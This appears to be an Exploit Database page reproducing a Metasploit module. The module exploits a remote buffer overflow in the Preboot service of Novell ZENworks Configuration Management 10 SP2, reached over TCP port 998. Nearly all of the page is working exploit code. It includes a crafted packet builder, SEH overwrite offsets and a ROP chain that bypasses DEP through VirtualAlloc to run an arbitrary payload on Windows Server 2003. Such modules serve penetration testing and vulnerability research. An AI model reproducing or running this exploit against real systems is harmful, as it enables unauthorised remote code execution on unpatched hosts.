Novell ZENworks Configuration Management Preboot Service 0x06 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2012-07-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19931/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a remote buffer overflow in the ZENworks Configuration
  				Management 10 SP2. The vulnerability exists in the Preboot service and can be
  				triggered by sending a specially crafted packet with the opcode 0x06
  				(PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been successfully tested
  				on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
  				(DEP bypass).
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Stephen Fewer', # Vulnerability Discovery
  					'juan' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '65361' ],
  					[ 'BID', '40486' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
  					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process'
  				},
  			'Payload'=>
  				{
  					'BadChars' => "",
  					'Space'=> 954,
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
  						{
  							'Offset'=> 1084,
  							'OffsetBottomStack' => 1119,
  							'OffsetRop' => 24,
  							'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 30 2010',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(998)], self.class)
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V").first
  	end
  
  	def nop
  		return make_nops(4).unpack("L")[0].to_i
  	end
  
  	# rop chain generated with mona.py
  	def create_rop_chain()
  		rop_gadgets =
  			[
  				0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
  				0x00001000, # 0x00001000-> edx
  				0x10062113, # POP ECX # RETN [zenimgweb.dll]
  				0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
  				0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				junk, # Filler (compensate)
  				0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
  				0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
  				0x10043053, # & push esp #ret[zenimgweb.dll]
  				0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
  				0x00000001, # 0x00000001-> ebx
  				0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
  				0x00000040, # 0x00000040-> ecx
  				0x1003173e, # POP EDI # RETN [zenimgweb.dll]
  				0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
  				0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
  				nop,
  				0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
  		].pack("V*")
  
  		return rop_gadgets
  	end
  
  
  	def exploit
  		connect
  
  		buf = rand_text(target['OffsetRop'])
  		buf << create_rop_chain
  		buf << payload.encoded
  		buf << rand_text(target['Offset'] - buf.length)
  		buf << generate_seh_record(target.ret)
  		buf << rand_text(target['OffsetBottomStack'] - buf.length)
  
  		packet =[0x6].pack("N") # Opcode # PROXY_CMD_CLEAR_WS
  		packet << [buf.length].pack("N") # Length
  		packet << buf # Value
  		sock.put(packet)
  
  		disconnect
  	end
  end